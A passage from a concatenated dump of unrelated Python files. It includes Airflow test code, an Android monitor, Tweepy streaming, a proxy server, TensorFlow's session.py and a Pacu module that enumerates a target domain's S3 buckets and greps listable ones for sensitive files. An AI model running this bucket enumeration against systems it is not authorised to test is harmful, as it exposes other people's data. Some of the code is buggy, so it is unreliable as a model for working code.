create taskinstances and set states dr1_tis = [] dr2_tis = [] for i, (task, state) in enumerate(zip(tasks, states)): ti1 = TI(task, dr1.execution_date) ti2 = TI(task, dr2.execution_date) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = state ti2.state = state dr1_tis.append(ti1) dr2_tis.append(ti2) session.merge(ti1) session.merge(ti2) session.commit() self.assertEqual(2, len(scheduler.reset_state_for_orphaned_tasks(session=session))) for ti in dr1_tis + dr2_tis: ti.refresh_from_db() # running dagrun should be reset for state, ti in zip(states, dr1_tis): if state in states_to_reset: self.assertIsNone(ti.state) else: self.assertEqual(state, ti.state) # otherwise not for state, ti in zip(states, dr2_tis): self.assertEqual(state, ti.state) for state, ti in zip(states, dr1_tis): ti.state = state session.commit() scheduler.reset_state_for_orphaned_tasks(filter_by_dag_run=dr1, session=session) # check same for dag_run version for state, ti in zip(states, dr2_tis): self.assertEqual(state, ti.state) session.close()
devicemonitor.py
#encoding:utf-8 ''' @author: look @copyright: 1999-2020 Alibaba.com. All rights reserved. @license: Apache Software License 2.0 @contact: 390125133@qq.com ''' import os import re import sys,csv import threading import random import time import traceback BaseDir=os.path.dirname(__file__) sys.path.append(os.path.join(BaseDir,'../..')) from mobileperf.common.log import logger from mobileperf.android.tools.androiddevice import AndroidDevice from mobileperf.android.globaldata import RuntimeData from mobileperf.common.utils import TimeUtils class DeviceMonitor(object): ''' 一个监控类,监控手机中的一些状态变化,目前监控应用是否卸载,获取前台正在活动的activity ''' def __init__(self, device_id, packagename, interval = 1.0,main_activity=[],activity_list=[],event=None,activity_queue = None): '''' :param list main_activity 指定模块的主入口 :param list activity_list : 限制默认范围的activity列表,默认为空,则不限制 ''' self.uninstall_flag = event self.device = AndroidDevice(device_id) self.packagename = packagename self.interval = interval self.main_activity = main_activity self.activity_list = activity_list self.stop_event = threading.Event() self.activity_queue = activity_queue self.current_activity = None def start(self, starttime): self.activity_monitor_thread = threading.Thread(target=self._activity_monitor_thread) self.activity_monitor_thread.start() logger.debug("DeviceMonitor activitymonitor has started...") # self.uninstaller_checker_thread = threading.Thread(target=self._uninstaller_checker_thread) # self.uninstaller_checker_thread.start() # logger.debug("DeviceMonitor uninstaller checker has started...") def stop(self): if self.activity_monitor_thread.isAlive(): self.stop_event.set() self.activity_monitor_thread.join(timeout=1) self.activity_monitor_thread = None if self.activity_queue: self.activity_queue.task_done() logger.debug("DeviceMonitor stopped!") def _activity_monitor_thread(self): activity_title = ("datetime", "current_activity") self.activity_file = os.path.join(RuntimeData.package_save_path, 'current_activity.csv') try: with open(self.activity_file, 'a+') as af: csv.writer(af, lineterminator='\n').writerow(activity_title) except Exception as e: logger.error("file not found: " + str(self.activity_file)) while not self.stop_event.is_set(): try: before = time.time() self.current_activity = self.device.adb.get_current_activity() collection_time = time.time() activity_list = [collection_time, self.current_activity] if self.activity_queue: logger.debug("activity monitor thread activity_list: " + str(activity_list)) self.activity_queue.put(activity_list) if self.current_activity: logger.debug("current activity: " + self.current_activity) if self.main_activity and self.activity_list: if self.current_activity not in self.activity_list: start_activity = self.packagename + "/" + self.main_activity[ random.randint(0, len(self.main_activity) - 1)] logger.debug("start_activity:" + start_activity) self.device.adb.start_activity(start_activity) activity_tuple=(TimeUtils.getCurrentTime(),self.current_activity) # 写文件 try: with open(self.activity_file, 'a+') as writer: writer_p = csv.writer(writer, lineterminator='\n') writer_p.writerow(activity_tuple) except RuntimeError as e: logger.error(e) time_consume = time.time() - before delta_inter = self.interval - time_consume logger.debug("get app activity time consumed: " + str(time_consume)) if delta_inter > 0 : time.sleep(delta_inter) except Exception as e: s = traceback.format_exc() logger.debug(s) # 将堆栈信息打印到log中 if self.activity_queue: self.activity_queue.task_done() # 这个检查频率不用那么高 def _uninstaller_checker_thread(self): ''' 这个方法用轮询的方式查询指定的应用是否被卸载,一旦卸载会往主线程发送一个卸载的信号,终止程序 :return: ''' while not self.stop_event.is_set(): before = time.time() is_installed = self.device.adb.is_app_installed(self.packagename) if not is_installed: if self.uninstall_flag and isinstance(self.uninstall_flag, threading._Event): logger.debug("uninstall flag is set, as the app has checked uninstalled!") self.uninstall_flag.set() time_consume = time.time() - before delta_inter = self.interval*10 - time_consume logger.debug("check installed app: " + self.packagename +", time consumed: " + str(time_consume) + ", is installed: " + str(is_installed)) if delta_inter > 0: time.sleep(delta_inter) if __name__ == '__main__': monitor = DeviceMonitor("NVGILZSO99999999", "com.kaola", 2) monitor.start(time.time()) time.sleep(60) monitor.stop()
main.py
#!/usr/bin/env python3 import argparse import logging from queue import Queue import subprocess from threading import Thread module_info = { # Name of the module (should be the same as the filename) "name": "s3__bucket_finder", # Name and any other notes about the author "author": "Dwight Hohnstein", # Category of the module. Make sure the name matches an existing category. "category": "RECON_UNAUTH", # One liner description of the module functionality. This shows up when a user searches for modules. "one_liner": "Enumerates/bruteforces S3 buckets based on different parameters.", # Description about what the module does and how it works "description": "This module searches across every AWS region for a variety of bucket names based on a domain name, subdomains, affixes given and more. Currently the tool will only present to you whether or not the bucket exists or if they are listable.", # A list of AWS services that the module utilizes during its execution "services": ["S3"], # For prerequisite modules, try and see if any existing modules return the data that is required for your module before writing that code yourself, that way, session data can stay separated and modular. "prerequisite_modules": [], # External resources that the module depends on. Valid options are either a GitHub URL (must end in .git) or single file URL. "external_dependencies": [ "https://github.com/aboul3la/Sublist3r.git", "https://raw.githubusercontent.com/RhinoSecurityLabs/Security-Research/master/tools/aws-pentest-tools/s3/Buckets.txt", ], # Module arguments to autocomplete when the user hits tab "arguments_to_autocomplete": [ "-f", "--file", "-r", "--regions", "-b", "--brute", "-t", "--threads", "-g", "--grep", "--sublist3r", "--subbrute", "-d", "--domain", "-v", "--verbose", ], } parser = argparse.ArgumentParser(add_help=False, description=module_info["description"]) # Arguments that accept multiple options (such as --usernames) should be comma-separated (such as --usernames bill,mike,tom) # Arguments that are region-specific (such as --instance-ids) should use an @ symbol to separate the data and its region (such as --instance-ids 123@us-west-1,54252@us-east-1,9999@ap-south-1 parser.add_argument("-f", "--file", help="Read affixes from FILE.") parser.add_argument( "-r", "--regions", default="all", help="Comma separated list of regions to query for bucket names. Default is all.", ) parser.add_argument( "-b", "--brute", action="store_true", help="Use default brute force list in Buckets.txt", ) parser.add_argument( "-t", "--threads", default=6, help="Max number of threads, default is 6." ) parser.add_argument( "-g", "--grep", help="Will recursively list files from buckets (when listable) and grep for keywords FILE. Ex: -g sensitive_keywords.txt", ) parser.add_argument( "--sublist3r", action="store_true", default=False, help="Retrieve list of subdomains and use this to query against S3.", ) parser.add_argument( "--subbrute", action="store_true", default=False, help="Enable sublist3r's subbrute module when querying for subdomains.", ) parser.add_argument( "-d", "--domain", help="Base domain to be queried against.", required=True ) parser.add_argument( "-v", "--verbose", action="store_true", help="Enable debug messages in logs." ) bucket_q = Queue() bucket_q_size = 0 # Bucketlist to sort buckets based on permissions. bucketlist = { "exists": [], "listable": [], } # Subdomain var to keep track of sublist3r results. subdomains = [] G = "\033[92m" # green Y = "\033[93m" # yellow B = "\033[94m" # blue R = "\033[91m" # red W = "\033[0m" # white def main(args, pacu_main): ###### Don't modify these. They can be removed if you are not using the function. args = parser.parse_args(args) print = pacu_main.print get_regions = pacu_main.get_regions install_dependencies = pacu_main.install_dependencies ###### # Make sure that this only includes regions that are available for the service you are working with. Some services don't require a region at all regions = get_regions("s3") # Attempt to install the required external dependencies, exit this module if that fails if not install_dependencies(module_info["external_dependencies"]): return {"buckets": 0, "listable": 0} # List of affixes to append to domain.com and domain in the form of affix.domain.com and affix-domain affixes = [] # Read default keyword list if bruteforcing if args.brute: with open("./dependencies/Buckets.txt", "r") as f: affixes += [x.strip() for x in f.readlines()] # Read filename of user-provided keywords elif args.file: with open(args.file, "r") as f: affixes += [x.strip() for x in f.readlines()] else: affixes = [] # if args.sublister: # from Sublist3r import sublist3r # subdomains = sublist3r.main(args.domain, 30, None, None, False, verbose=True, enable_bruteforce=args.subbrute, engines=None) print("Generating bucket permutations list...") buckets = create_bucket_list(args.domain, affixes=affixes) # for subdomain in subdomains: # subucks = create_bucket_list(subdomain, affixes=affixes) # buckets = buckets.union(subucks) for region in regions: for bucket in buckets: bucket_q.put((region, bucket)) print( "Generated {} bucket permutations. Beginning search across {} regions.".format( len(buckets), len(regions) ) ) global bucket_q_size bucket_q_size = bucket_q.qsize() for i in range(args.threads): t = Thread(target=bucket_worker, args=()) t.daemon = True t.start() bucket_q.join() print("") print("[+] Results:") print( " {}Number of Buckets that Exist: {}{}".format( Y, len(bucketlist["exists"]), W ) ) print( " {}Number of Buckets that are Listable: {}{}".format( G, len(bucketlist["listable"]), W ) ) summary_data = { "buckets": len(bucketlist["exists"]), "listable": len(bucketlist["listable"]), } if args.grep and bucketlist["listable"]: print("[.] Grepping for keywords in listable buckets from {}".format(args.grep)) with open(args.grep, "r") as file: keywords = [x.strip().lower() for x in file.readlines() if x.strip()] for domain, region in bucketlist["listable"]: command = "aws s3 ls s3://{}/ --region {} --recursive".format( domain, region ) command = command.split(" ") # with open(os.devnull, 'w') as FNULL: output = subprocess.run(command, shell=True, stderr=None) output = output.lower() if any(x in output for x in keywords): print( "[!] Found sensitive file on bucket {} in region {}".format( domain, region ) ) return summary_data def summary(data, pacu_main): out = " {} total buckets were found.\n".format(data["buckets"]) out += " {} buckets were found with viewable contents.\n".format(data["listable"]) return out def create_bucket_list(domain, affixes=[]): """ Create a set of buckets based on a domain name and a list of affixes. Note: This will be very large. Args: domain (str): Domain to add affixes to, such as google.com regions (list): List of AWS regions to query against. affixes (list): List of affixes to prefix and suffix to domain. Returns: set: Set of domain permutations. Example: > buckets = create_bucket_list("google.com", ["01"]) > buckets ["google.com", "google", "01.google.com", "01.google", "01-google", "01google", "01google.com", "google-01", "google01"] """ perms = set() # add domain perms.add(domain) rootword = ".".join(domain.split(".")[:-1]) # add rootword perms.add(rootword) for affix in affixes: # affix.domain perms.add("{}.{}".format(affix, domain)) # affix.rootword perms.add("{}.{}".format(affix, rootword)) # affix-rootword perms.add("{}-{}".format(affix, rootword)) # affixdomain perms.add("{}{}".format(affix, domain)) # affixrootword perms.add("{}{}".format(affix, rootword)) # rootword-affix perms.add("{}-{}".format(rootword, affix)) # rootwordaffix perms.add("{}{}".format(rootword, affix)) return perms def bucket_worker(): """ Wrapper to fetch items from queue and query s3 """ while not bucket_q.empty(): region, bucket = bucket_q.get(timeout=5) currcount = bucket_q_size - bucket_q.qsize() percentile = round((float(currcount) / float(bucket_q_size)) * 100, 2) print( "Buckets searched: {}% ({}/{})".format( percentile, currcount, bucket_q_size ), end="\r", ) try: ls_s3(region, bucket) except subprocess.CalledProcessError: pass bucket_q.task_done() def ls_s3(region, domain): """ Takes a region and domain to query awscli and determine if the bucket exists or is listable. Pushes results to bucketlist dictionary. Args: region (str): One of the AWS regions specified in settings.py domain (str): Domain to target with s3://domain/ Returns: None: No return value as it populates bucketlist """ fails = ["InvalidBucketName", "NoSuchBucket", "PermanentRedirect", "InvalidURI"] exists = [ "AllAccessDisabled", "AccessDenied", "InvalidAccessKeyId", "NoSuchBucketPolicy", ] command = "aws s3 ls s3://{}/ --region {}".format(domain, region) output = subprocess.check_output( command, shell=True, stderr=subprocess.STDOUT ).decode("utf-8") logging.debug("Running command: {}".format(command)) logging.debug("Output was:\n{}".format(output)) if not any(x in output for x in fails): info = (domain, region) if any(x in output for x in exists): bucketlist["exists"].append(info) print("[E] {}{} {}on {}{} {}exists.\n".format(Y, domain, W, Y, region, W)) logging.info("[EXISTS] {}\n{}\n{}\n".format(command, output, "-" * 10)) else: bucketlist["exists"].append(info) bucketlist["listable"].append(info) print( "[L] {}{} {}on {}{} {}is listable.\n".format(G, domain, W, G, region, W) ) logging.info("[LISTABLE] {}\n{}\n{}\n".format(command, output, "-" * 10))
plotGraphs.py
import numpy import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import pylab import os import multiprocessing as MP from P2P_CONSTANTS import * def plotGraph(x, y, z, filename): v = [0,5000,0,200] plt.axis(v) plt.scatter(x, y, alpha = 0.10, cmap=plt.cm.cool, edgecolors='None') # plt.colorbar() pylab.savefig(filename, bbox_inches = 0) plt.clf() #scale input data and plot graphs def processFile(filename): sem.acquire() x1 = [] # x2 = [] y = [] z = [] inputfile = open(filename) for line in inputfile: fields = line.strip().split(',') x1.append(float(fields[3]) / 1000) # x2.append(float(fields[3]) / (1000 * int(fields[2]))) y.append(float(fields[-1]) / 1000) z.append(float(fields[4]) / 1000) inputfile.close() filename = filename.split('/') outputdir = NEWDIR + filename[-2] + '/' if not os.path.exists(outputdir): os.makedirs(outputdir) plotGraph(x1, y, z, outputdir + filename[-1] + '.png') # plotGraph(x2, y, z, filename + 'modified.png') print 'Completed plotting ' + '/'.join(filename) sem.release() NEWDIR = SUPERFLOWDATADIR + 'alphachanged/' if not os.path.exists(NEWDIR): os.makedirs(NEWDIR) folders = os.listdir(SUPERFLOWDATADIR) csvfiles = [] for eachname in folders: name = SUPERFLOWDATADIR + eachname +'/' if os.path.isdir(name): csvfiles += getCSVFiles(name) print csvfiles sem = MP.Semaphore(THREADLIMIT) for eachfile in csvfiles: task = MP.Process(target = processFile, args = (eachfile,)) task.start()
main.py
#!/usr/bin/env python3 # It is start of J-Robot. # J-Robot uses aiy.assistant.grpc and answers your questions. # Also, J-robot can do works that you defines. import threading import logging import aiy.assistant.grpc import aiy.audio import aiy.voicehat import subprocess import vision.camera as cam from serial_comm import SerialComm as serial_comm logging.basicConfig( level=logging.INFO, format="[%(asctime)s] %(levelname)s:%(name)s:%(message)s" ) import aiy.i18n lang = aiy.i18n.get_language_code() ''' You can set local_commands input - text output - isAnswer, answer ''' def local_commands(text): isAnswer = True answer = '' if text: if text =='사진 찍어 줘': answer = '알겠습니다. 하나 둘 셋' textToSpeech(answer) image = cam.capture() cam.save_image(image,'/home/pi/image.jpg') textToSpeech('찍었습니다.') elif text =='불 켜 줘': answer = '알겠습니다.' textToSpeech(answer) elif text =='불 꺼 줘': answer = '알겠습니다.' textToSpeech(answer) elif 'IP' in text or 'ip' in text: answer = 'IP는 ' answer += str(subprocess.check_output("hostname -I", shell=True)) answer = answer.replace('n','') answer = answer.replace('b','') textToSpeech(answer) # print(answer) elif '영어' in text and '설정' in text: aiy.i18n.set_language_code('en-US') lang = aiy.i18n.get_language_code() pass elif 'korean' in text.lower() and 'set' in text: aiy.i18n.set_language_code('ko-KR') lang = aiy.i18n.get_language_code() pass else: isAnswer = False else: isAnswer = False return isAnswer, answer ''' this function is text to speech lang is language sox_effects is options. ''' from google_speech import Speech def textToSpeech(text): # lang = 'ko_KR' global lang lang = lang.replace('-','_') speech = Speech(text, lang) sox_effects = ("speed", "1.0") sox_effects = ("vol", "0.05") speech.play(sox_effects) def main(): sc1 = serial_comm() def serial_read(): while True: sc1.read() if sc1.distance < 10: pass # textToSpeech('반갑다!') serial_reader = threading.Thread(target = serial_read) serial_reader.start() textToSpeech('J-Robot 시작합니다.') status_ui = aiy.voicehat.get_status_ui() status_ui.status('starting') assistant = aiy.assistant.grpc.get_assistant() button = aiy.voicehat.get_button() with aiy.audio.get_recorder(): while True: status_ui.status('ready') print('Press the button and speak') button.wait_for_press() status_ui.status('listening') # text is what I said (speech to text) # audio is answer of assistant text, audio = assistant.recognize() local, answer = local_commands(text) if local is False: aiy.audio.play_audio(audio, assistant.get_volume()) sc1.action() if __name__ == '__main__': main()
initGUI.py
import sys import threading import pwndbg.perceptorGUI.memGUI import logging logging.getLogger("kivy").disabled = True def init(): global app app = pwndbg.perceptorGUI.memGUI.MemoryApp() th_app = threading.Thread(target=pwndbg.perceptorGUI.memGUI.app_run, args=(app,), daemon=True) th_app.start() def get_instance(): global app return app
streaming.py
# Tweepy # Copyright 2009-2021 Joshua Roesslein # See LICENSE for details. # Appengine users: https://developers.google.com/appengine/docs/python/sockets/#making_httplib_use_sockets import json import logging import re import ssl from threading import Thread from time import sleep import requests from tweepy.api import API from tweepy.error import TweepError from tweepy.models import Status STREAM_VERSION = '1.1' log = logging.getLogger(__name__) class StreamListener: def __init__(self, api=None): self.api = api or API() def on_connect(self): """Called once connected to streaming server. This will be invoked once a successful response is received from the server. Allows the listener to perform some work prior to entering the read loop. """ pass def on_data(self, raw_data): """Called when raw data is received from connection. Override this method if you wish to manually handle the stream data. Return False to stop stream and close connection. """ data = json.loads(raw_data) if 'in_reply_to_status_id' in data: status = Status.parse(self.api, data) return self.on_status(status) if 'delete' in data: delete = data['delete']['status'] return self.on_delete(delete['id'], delete['user_id']) if 'limit' in data: return self.on_limit(data['limit']['track']) if 'disconnect' in data: return self.on_disconnect(data['disconnect']) if 'warning' in data: return self.on_warning(data['warning']) if 'scrub_geo' in data: return self.on_scrub_geo(data['scrub_geo']) if 'status_withheld' in data: return self.on_status_withheld(data['status_withheld']) if 'user_withheld' in data: return self.on_user_withheld(data['user_withheld']) log.error("Unknown message type: %s", raw_data) def on_keep_alive(self): """Called when a keep-alive arrived""" return def on_status(self, status): """Called when a new status arrives""" return def on_exception(self, exception): """Called when an unhandled exception occurs.""" return def on_delete(self, status_id, user_id): """Called when a delete notice arrives for a status""" return def on_limit(self, track): """Called when a limitation notice arrives""" return def on_error(self, status_code): """Called when a non-200 status code is returned""" return False def on_timeout(self): """Called when stream connection times out""" return def on_disconnect(self, notice): """Called when twitter sends a disconnect notice Disconnect codes are listed here: https://developer.twitter.com/en/docs/tweets/filter-realtime/guides/streaming-message-types """ return def on_warning(self, notice): """Called when a disconnection warning message arrives""" return def on_scrub_geo(self, notice): """Called when a location deletion notice arrives""" return def on_status_withheld(self, notice): """Called when a status withheld content notice arrives""" return def on_user_withheld(self, notice): """Called when a user withheld content notice arrives""" return class ReadBuffer: """Buffer data from the response in a smarter way than httplib/requests can. Tweets are roughly in the 2-12kb range, averaging around 3kb. Requests/urllib3/httplib/socket all use socket.read, which blocks until enough data is returned. On some systems (eg google appengine), socket reads are quite slow. To combat this latency we can read big chunks, but the blocking part means we won't get results until enough tweets have arrived. That may not be a big deal for high throughput systems. For low throughput systems we don't want to sacrifice latency, so we use small chunks so it can read the length and the tweet in 2 read calls. """ def __init__(self, stream, chunk_size, encoding='utf-8'): self._stream = stream self._buffer = b'' self._chunk_size = chunk_size self._encoding = encoding def read_len(self, length): while not self._stream.closed: if len(self._buffer) >= length: return self._pop(length) read_len = max(self._chunk_size, length - len(self._buffer)) self._buffer += self._stream.read(read_len) return b'' def read_line(self, sep=b'\n'): """Read the data stream until a given separator is found (default \n) :param sep: Separator to read until. Must by of the bytes type :return: The str of the data read until sep """ start = 0 while not self._stream.closed: loc = self._buffer.find(sep, start) if loc >= 0: return self._pop(loc + len(sep)) else: start = len(self._buffer) self._buffer += self._stream.read(self._chunk_size) return b'' def _pop(self, length): r = self._buffer[:length] self._buffer = self._buffer[length:] return r.decode(self._encoding) class Stream: def __init__(self, auth, listener, **options): self.auth = auth self.listener = listener self.running = False self.daemon = options.get("daemon", False) self.timeout = options.get("timeout", 300.0) self.retry_count = options.get("retry_count") # values according to # https://developer.twitter.com/en/docs/tweets/filter-realtime/guides/connecting#reconnecting self.retry_time_start = options.get("retry_time", 5.0) self.retry_420_start = options.get("retry_420", 60.0) self.retry_time_cap = options.get("retry_time_cap", 320.0) self.snooze_time_step = options.get("snooze_time", 0.25) self.snooze_time_cap = options.get("snooze_time_cap", 16) # The default socket.read size. Default to less than half the size of # a tweet so that it reads tweets with the minimal latency of 2 reads # per tweet. Values higher than ~1kb will increase latency by waiting # for more data to arrive but may also increase throughput by doing # fewer socket read calls. self.chunk_size = options.get("chunk_size", 512) self.verify = options.get("verify", True) self.headers = options.get("headers") or {} self.new_session() self.body = None self.retry_time = self.retry_time_start self.snooze_time = self.snooze_time_step # Example: proxies = {'http': 'http://localhost:1080', 'https': 'http://localhost:1080'} self.proxies = options.get("proxies") self.host = options.get('host', 'stream.twitter.com') def new_session(self): self.session = requests.Session() self.session.headers = self.headers self.session.params = None def _run(self): # Authenticate url = "https://%s%s" % (self.host, self.url) # Connect and process the stream error_counter = 0 resp = None try: while self.running: if self.retry_count is not None: if error_counter > self.retry_count: # quit if error count greater than retry count break try: auth = self.auth.apply_auth() resp = self.session.request('POST', url, data=self.body, timeout=self.timeout, stream=True, auth=auth, verify=self.verify, proxies=self.proxies) if resp.status_code != 200: if self.listener.on_error(resp.status_code) is False: break error_counter += 1 if resp.status_code == 420: self.retry_time = max(self.retry_420_start, self.retry_time) sleep(self.retry_time) self.retry_time = min(self.retry_time * 2, self.retry_time_cap) else: error_counter = 0 self.retry_time = self.retry_time_start self.snooze_time = self.snooze_time_step self.listener.on_connect() self._read_loop(resp) except (requests.Timeout, ssl.SSLError) as exc: # This is still necessary, as a SSLError can actually be # thrown when using Requests # If it's not time out treat it like any other exception if isinstance(exc, ssl.SSLError): if not (exc.args and 'timed out' in str(exc.args[0])): raise if self.listener.on_timeout() is False: break if self.running is False: break sleep(self.snooze_time) self.snooze_time = min( self.snooze_time + self.snooze_time_step, self.snooze_time_cap ) except Exception as exc: self.listener.on_exception(exc) raise finally: self.running = False if resp: resp.close() self.new_session() def _read_loop(self, resp): charset = resp.headers.get('content-type', default='') enc_search = re.search(r'charset=(?P<enc>\S*)', charset) if enc_search is not None: encoding = enc_search.group('enc') else: encoding = 'utf-8' buf = ReadBuffer(resp.raw, self.chunk_size, encoding=encoding) while self.running and not resp.raw.closed: length = 0 while not resp.raw.closed: line = buf.read_line() stripped_line = line.strip() if line else line # line is sometimes None so we need to check here if not stripped_line: self.listener.on_keep_alive() # keep-alive new lines are expected elif stripped_line.isdigit(): length = int(stripped_line) break else: raise TweepError('Expecting length, unexpected value found') data = buf.read_len(length) if self.running and data: if self.listener.on_data(data) is False: self.running = False # # Note: keep-alive newlines might be inserted before each length value. # # read until we get a digit... # c = b'\n' # for c in resp.iter_content(decode_unicode=True): # if c == b'\n': # continue # break # # delimited_string = c # # # read rest of delimiter length.. # d = b'' # for d in resp.iter_content(decode_unicode=True): # if d != b'\n': # delimited_string += d # continue # break # # # read the next twitter status object # if delimited_string.decode('utf-8').strip().isdigit(): # status_id = int(delimited_string) # data = resp.raw.read(status_id) # if self.running: # if self.listener.on_data(data.decode('utf-8')) is False: # self.running = False if resp.raw.closed: self.on_closed(resp) def _start(self, is_async): self.running = True if is_async: self._thread = Thread(target=self._run) self._thread.daemon = self.daemon self._thread.start() else: self._run() def on_closed(self, resp): """ Called when the response has been closed by Twitter """ pass def sample(self, is_async=False, languages=None, stall_warnings=False): self.session.params = {'delimited': 'length'} if self.running: raise TweepError('Stream object already connected!') self.url = '/%s/statuses/sample.json' % STREAM_VERSION if languages: self.session.params['language'] = ','.join(map(str, languages)) if stall_warnings: self.session.params['stall_warnings'] = 'true' self._start(is_async) def filter(self, follow=None, track=None, is_async=False, locations=None, stall_warnings=False, languages=None, encoding='utf8', filter_level=None): self.body = {} self.session.headers['Content-type'] = "application/x-www-form-urlencoded" if self.running: raise TweepError('Stream object already connected!') self.url = '/%s/statuses/filter.json' % STREAM_VERSION if follow: self.body['follow'] = ','.join(follow).encode(encoding) if track: self.body['track'] = ','.join(track).encode(encoding) if locations and len(locations) > 0: if len(locations) % 4 != 0: raise TweepError("Wrong number of locations points, " "it has to be a multiple of 4") self.body['locations'] = ','.join(['%.4f' % l for l in locations]) if stall_warnings: self.body['stall_warnings'] = stall_warnings if languages: self.body['language'] = ','.join(map(str, languages)) if filter_level: self.body['filter_level'] = filter_level.encode(encoding) self.session.params = {'delimited': 'length'} self._start(is_async) def disconnect(self): self.running = False
ProxyBoyServer.py
from functools import partial from http.server import HTTPServer import socketserver import socket import ssl import templates import threading """ Saturday 11/23/2019 I currently am getting an OSERROR as seen on socketserver.py line 312. When connecting explicitly to the server, I see that there is SSL available, but when I try and proxy requests to the server, I get the OSERROR talked about. I'm unsure as to the specifics of why this is happening, but I'm pretty sure that there is something going on with the underlying _ssl.c file. By my guess, I'm going to have to override the underlying get_request() method of this HTTPServer in order to do some data wrangling before we do something with the socket. I know that a real proxy just uses "tunneling" in order to achieve these effects, and I might just go ahead and try to implement that because this is turning out to be a trip to hell. """ class ProxyBoyHTTPServer(socketserver.ThreadingTCPServer): def __init(self, server_address, RequestHandlerClass): super(ProxyBoyHTTPServer, self).__init__(server_address, RequestHandlerClass) self.allow_reuse_address = True class ProxyBoyServer: def __init__(self, RequestHandler, hostname, port, ssl, cert_file, key_file): """ Parameters __________ port : int The port our webserver will run on RequestHandler : ProxyBoy (BaseHTTPRequestHandler) Server's request handler. Proxies requests. ssl : bool Flag whether or not ssl is to be supported I know these things have to do with SSL cert_file : string Cert File... haha... I think it's the root cert that we would put on a device in order to say that this traffic is okay. key_file : string Key File... Unsure. I know that a cert file is needed in order to have a key file. """ self.hostname = hostname self.port = port self.ssl = ssl self.cert_file = cert_file self.key_file = key_file self.RequestHandler = RequestHandler def runServer(self): """ Start up the server little man """ with ProxyBoyHTTPServer((self.hostname, self.port), self.RequestHandler) as httpd: ip, port = httpd.server_address try: hostname = socket.gethostname() print(templates.WEBSERVER_ACTIVATE_TEXT.format(hostname=hostname, ip_address=ip, port=port)) if self.ssl: httpd.socket = ssl.wrap_socket( httpd.socket, certfile=self.cert_file, keyfile=self.key_file, server_side=True ) server_thread = threading.Thread(target=httpd.serve_forever()) server_thread.daemon = True server_thread.start() httpd.serve_forever() except KeyboardInterrupt: print(templates.WEBSERVER_DEACTIVATE_TEXT) httpd.shutdown() exit()
session.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """A client interface for TensorFlow.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import functools import re import threading import warnings import numpy as np import wrapt from tensorflow.core.protobuf import config_pb2 from tensorflow.core.protobuf import rewriter_config_pb2 from tensorflow.python.client import pywrap_tf_session as tf_session from tensorflow.python.eager import context from tensorflow.python.eager import monitoring from tensorflow.python.framework import device from tensorflow.python.framework import error_interpolation from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.ops import session_ops from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training.experimental import mixed_precision_global_state from tensorflow.python.util import compat from tensorflow.python.util import nest from tensorflow.python.util.compat import collections_abc from tensorflow.python.util.tf_export import tf_export _python_session_create_counter = monitoring.Counter( '/tensorflow/api/python/session_create_counter', 'Counter for number of sessions created in Python.') class SessionInterface(object): """Base class for implementations of TensorFlow client sessions.""" @property def graph(self): """The underlying TensorFlow graph, to be used in building Operations.""" raise NotImplementedError('graph') @property def sess_str(self): """The TensorFlow process to which this session will connect.""" raise NotImplementedError('sess_str') def run(self, fetches, feed_dict=None, options=None, run_metadata=None): """Runs operations in the session. See `BaseSession.run()` for details.""" raise NotImplementedError('run') def partial_run_setup(self, fetches, feeds=None): """Sets up the feeds and fetches for partial runs in the session.""" raise NotImplementedError('partial_run_setup') def partial_run(self, handle, fetches, feed_dict=None): """Continues the execution with additional feeds and fetches.""" raise NotImplementedError('partial_run') def _get_indexed_slices_value_from_fetches(fetched_vals): return ops.IndexedSlicesValue( fetched_vals[0], fetched_vals[1], fetched_vals[2] if len(fetched_vals) == 3 else None) def _get_feeds_for_indexed_slices(feed, feed_val): return list( zip([feed.values, feed.indices] if feed.dense_shape is None else [feed.values, feed.indices, feed.dense_shape], feed_val)) # List of extensions supported to convert run arguments into actual fetches and # feeds. # # Each element in the list is a tuple of (Type, fetch_fn, feed_fn1, feed_fn2), # where the function signatures are: # fetch_fn : Type -> (list of Tensors, # lambda: list of fetched np.ndarray -> TypeVal) # feed_fn1 : Type, TypeVal -> list of (Tensor, value) # feed_fn2 : Type -> list of Tensors # # `fetch_fn` describes how to expand fetch into its # component Tensors and how to contract the fetched results back into # a single return value. # # Each feed function describes how to unpack a single fed value and map it to # feeds of one or more tensors and their corresponding values: `feed_fn1` is # used to feed a run, `feed_fn2` to set up a partial run. # # TODO(touts): We could reimplement these as specialized _FeedMapper # implementations after we refactor the feed handling code to use them. # # Eventually, this registration could be opened up to support custom Tensor # expansions. # pylint: disable=g-long-lambda _REGISTERED_EXPANSIONS = [ # SparseTensors are fetched as SparseTensorValues. They can be fed # SparseTensorValues or normal tuples. (sparse_tensor.SparseTensor, lambda fetch: ([ fetch.indices, fetch.values, fetch.dense_shape ], lambda fetched_vals: sparse_tensor.SparseTensorValue(*fetched_vals)), lambda feed, feed_val: list( zip([feed.indices, feed.values, feed.dense_shape], feed_val)), lambda feed: [feed.indices, feed.values, feed.dense_shape]), # IndexedSlices are fetched as IndexedSlicesValues. They can be fed # IndexedSlicesValues or normal tuples. (ops.IndexedSlices, lambda fetch: ([fetch.values, fetch.indices] if fetch.dense_shape is None else [fetch.values, fetch.indices, fetch.dense_shape ], _get_indexed_slices_value_from_fetches), _get_feeds_for_indexed_slices, lambda feed: [feed.values, feed.indices] if feed.dense_shape is None else [feed.values, feed.indices, feed.dense_shape]), # The default catches all other types and performs no expansions. (object, lambda fetch: ([fetch], lambda fetched_vals: fetched_vals[0]), lambda feed, feed_val: [(feed, feed_val)], lambda feed: [feed]) ] # pylint: enable=g-long-lambda def _convert_to_numpy_obj(numpy_dtype, obj): """Explicitly convert obj based on numpy type except for string type.""" return numpy_dtype(obj) if numpy_dtype is not object else str(obj) def register_session_run_conversion_functions( tensor_type, fetch_function, feed_function=None, feed_function_for_partial_run=None): """Register fetch and feed conversion functions for `tf.Session.run()`. This function registers 